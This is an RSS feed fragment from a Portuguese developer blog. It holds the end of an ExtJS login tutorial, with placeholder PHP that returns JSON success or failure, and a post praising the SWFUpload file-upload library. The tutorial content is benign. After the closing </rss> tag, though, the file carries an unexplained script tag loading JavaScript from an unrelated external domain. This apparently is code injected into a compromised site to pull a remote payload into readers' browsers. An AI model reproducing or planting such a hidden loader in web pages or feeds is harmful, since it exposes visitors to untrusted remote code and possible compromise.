<h3 style="margin-top: 7px; margin-right: 0px; margin-bottom: 7px; margin-left: 0px; padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.17em; padding-left: 0px; font-size: 18px; font-family: verdana, arial, sans-serif; color: #385f95; font-weight: normal; background-image: none; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; border-bottom-style: none; border-bottom-width: initial; border-bottom-color: initial; letter-spacing: -1px; background-position: initial initial; "><span class="mw-headline">Login.php</span></h3>
<div>Aqui é onde o servidor processa o seu login. Vou me apegar a colocar apenas um código simples para mostrar as respostas que serão retornadas, e tederminar que função o login.js executará (sucesso ou falha). Contanto, aqui é onde você deverá chamar seu banco de dados com o usuário/senha da variável, da autenticação, e por fim enviar uma das mensagens de resposta dependendo se o usuário digirou uma credencial válida.</div>
<p><span style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; line-height: 18px; font-size: 12px; color: #555555; "> </span></p>
<pre class="source source-php" style="margin-top: 0px; margin-right: 15px; margin-bottom: 10px; margin-left: 15px; padding-top: 1em; padding-right: 1.5em; padding-bottom: 1em; padding-left: 1.5em; line-height: normal; font-size: 12px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #2f6fab; border-right-color: #2f6fab; border-bottom-color: #2f6fab; border-left-color: #2f6fab; color: #3f747f; background-color: #f9f9f9; overflow-x: auto; overflow-y: hidden; "><span class="kw2" style="color: #000000; font-weight: bold; ">&lt;?php</span>
<span class="re0" style="color: #0000ff; ">$loginUsername</span> = <span class="kw3" style="color: #000066; ">isset</span><span class="br0" style="color: #66cc66; ">(</span><span class="re0" style="color: #0000ff; ">$_POST</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"loginUsername"</span><span class="br0" style="color: #66cc66; ">]</span><span class="br0" style="color: #66cc66; ">)</span> ? <span class="re0" style="color: #0000ff; ">$_POST</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"loginUsername"</span><span class="br0" style="color: #66cc66; ">]</span> : <span class="st0" style="color: #ff0000; ">""</span>;

<span class="kw1" style="color: #b1b100; ">if</span><span class="br0" style="color: #66cc66; ">(</span><span class="re0" style="color: #0000ff; ">$loginUsername</span> == <span class="st0" style="color: #ff0000; ">"f"</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
    <span class="kw3" style="color: #000066; ">echo</span> <span class="st0" style="color: #ff0000; ">"{success: true}"</span>;
<span class="br0" style="color: #66cc66; ">}</span> <span class="kw1" style="color: #b1b100; ">else</span> <span class="br0" style="color: #66cc66; ">{</span>
    <span class="kw3" style="color: #000066; ">echo</span> <span class="st0" style="color: #ff0000; ">"{success: false, errors: { reason: 'Falha no login. Tente novamente.' }}"</span>;
<span class="br0" style="color: #66cc66; ">}</span>
<span class="kw2" style="color: #000000; font-weight: bold; ">?&gt;</span></pre>
<p>Ou, você pode usar PHP avançado com array associativo e a função json_encode, e renderizar a resposta em JSON. Isso pode ser útil para não ter trabalho braçal caso esteja utilizando um JSON mais complexo.</p>
<p><span style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; line-height: 18px; font-size: 12px; color: #555555; "> </span></p>
<pre class="source source-php" style="margin-top: 0px; margin-right: 15px; margin-bottom: 10px; margin-left: 15px; padding-top: 1em; padding-right: 1.5em; padding-bottom: 1em; padding-left: 1.5em; line-height: normal; font-size: 12px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #2f6fab; border-right-color: #2f6fab; border-bottom-color: #2f6fab; border-left-color: #2f6fab; color: #3f747f; background-color: #f9f9f9; overflow-x: auto; overflow-y: hidden; "><span class="kw2" style="color: #000000; font-weight: bold; ">&lt;?php</span>
<span class="re0" style="color: #0000ff; ">$loginUsername</span> = <span class="kw3" style="color: #000066; ">isset</span><span class="br0" style="color: #66cc66; ">(</span><span class="re0" style="color: #0000ff; ">$_POST</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"loginUsername"</span><span class="br0" style="color: #66cc66; ">]</span><span class="br0" style="color: #66cc66; ">)</span> ? <span class="re0" style="color: #0000ff; ">$_POST</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"loginUsername"</span><span class="br0" style="color: #66cc66; ">]</span> : <span class="st0" style="color: #ff0000; ">""</span>;

<span class="kw1" style="color: #b1b100; ">if</span><span class="br0" style="color: #66cc66; ">(</span><span class="re0" style="color: #0000ff; ">$loginUsername</span> == <span class="st0" style="color: #ff0000; ">"f"</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
    <span class="re0" style="color: #0000ff; ">$result</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"success"</span><span class="br0" style="color: #66cc66; ">]</span> = <span class="kw2" style="color: #000000; font-weight: bold; ">true</span>;
<span class="br0" style="color: #66cc66; ">}</span> <span class="kw1" style="color: #b1b100; ">else</span> <span class="br0" style="color: #66cc66; ">{</span>
    <span class="re0" style="color: #0000ff; ">$result</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"success"</span><span class="br0" style="color: #66cc66; ">]</span> = <span class="kw2" style="color: #000000; font-weight: bold; ">false</span>;
    <span class="re0" style="color: #0000ff; ">$result</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"errors"</span><span class="br0" style="color: #66cc66; ">]</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"reason"</span><span class="br0" style="color: #66cc66; ">]</span> = <span class="st0" style="color: #ff0000; ">"Falha no Login. Tente novamente."</span>;
<span class="br0" style="color: #66cc66; ">}</span>
<span class="kw3" style="color: #000066; ">echo</span> json_encode<span class="br0" style="color: #66cc66; ">(</span><span class="re0" style="color: #0000ff; ">$result</span><span class="br0" style="color: #66cc66; ">)</span>;
<span class="kw2" style="color: #000000; font-weight: bold; ">?&gt;</span></pre>
<p>Você vai notar uma linha no login.js que redireciona para text.php caso um login bem sucedido aconteça. Esta pode ser, obviamente, qualquer que seja a página principal de sua aplicação.</p>
<p><em>Baseado no original de David Fitch: </em><span style="font-family: 'Lucida Grande', Tahoma, Arial, sans-serif; color: #555555;"><span style="line-height: 20px;"><a  href="http://www.extjs.com/learn/Tutorial:Basic_Login_(Portugu%C3%AAs)" target="_blank"><em>Tutorial: Basic Login</em></a></span></span></p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/sistema-de-autenticacao-com-extjs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Upload de Arquivos com SWFUpload</title>
		<link>http://marcos.blog.br/2009/09/upload-de-arquivos-com-swfupload/</link>
		<comments>http://marcos.blog.br/2009/09/upload-de-arquivos-com-swfupload/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 13:46:36 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Dev Dicas]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[SWFU]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=41</guid>
		<description><![CDATA[A algum tempo atrás tive a necessidade de criar um sistema mais complexo de Upload de Arquivos. Quem já utilizou, sabe como é chato personalizar e criar algo mais elaborado utilizando a tag <input type="file">.

Após uma pesquisa encontrei o SWFUpload]]></description>
			<content:encoded><![CDATA[<p><a  href="http://www.swfupload.org/" target="_blank"><img class="alignleft size-full wp-image-44" style="margin: 0px 8px;" title="swfupload" src="http://marcos.blog.br/wp-content/uploads/2009/09/swfupload.png" alt="swfupload" width="200" height="87" /></a>A algum tempo atrás tive a necessidade de criar um sistema mais complexo de Upload de Arquivos. Quem já utilizou, sabe como é chato personalizar e criar algo mais elaborado utilizando a tag &lt;input type=&#8221;file&#8221;&gt;.</p>
<p>Após uma pesquisa encontrei o <a  href="http://www.swfupload.org/" target="_blank">SWFUpload</a>. Calma! não é um sistema em Flash de upload de arquivos, no entando, ele utiliza um SWF para fazer parte da mecânica do processo de upload sem que o Flash seja visível ao usuário (analisando com calma pude perceber que ele insere um flash transparente de 1px em algum canto da tela). O restante do processo é realizado por métodos JavaScript que lhe permitem muitas possibilidades de personalização.</p>
<p>Uma das grandes vantagens que vejo é a barra de progresso. Não há nada pior do que ficar aguardando um arquivo ser enviado sem saber quando vai acabar. Outra coisa interessante é a possibilidade de enviar diversos arquivos de uma só vez e deixar que o SWFU gerencie a fila e execute a ação que você quiser ao finalizar o envio (de um único e/ou de todos os arquivos).</p>
<p>O SWFU não dispensa o uso de uma linguagem server-side, mas lhe dá a liberdade de trabalhar com a linguagem que quiser. Ao baixar o SWFU você irá perceber alguns exemplos em PHP e ASP.</p>
<p>A desvantagem é a necessidade de se ter o plugin do Flash instalado no navegador, se bem que hoje em dia isso não é mais um problema visto que até mobile já possuem a versão Flash Light (não cheguei a testar).</p>
<p>Atualmente o SWFU está na versão 2.2.0. Eu utilizo desde sua versão 1.x.x, e nas atualizações dos plugins do Flash de meu navegador, sempre funcionou bem, até que foi lançado a versão 10 do Flash. O SWFU parou de funcionar no Flash 10 para Internet Exploder (pra variar ele!), problema esse que foi corrigido na atual versão e não promete ter novos problemas, visto que o Flash 10 realmente teve mudanças agressivas em sua estrutura.</p>
<p>Vale a pena dar uma olhada nos <a  href="http://demo.swfupload.org/v220/index.htm" target="_blank">exemplos</a> que estão no site.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/upload-de-arquivos-com-swfupload/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>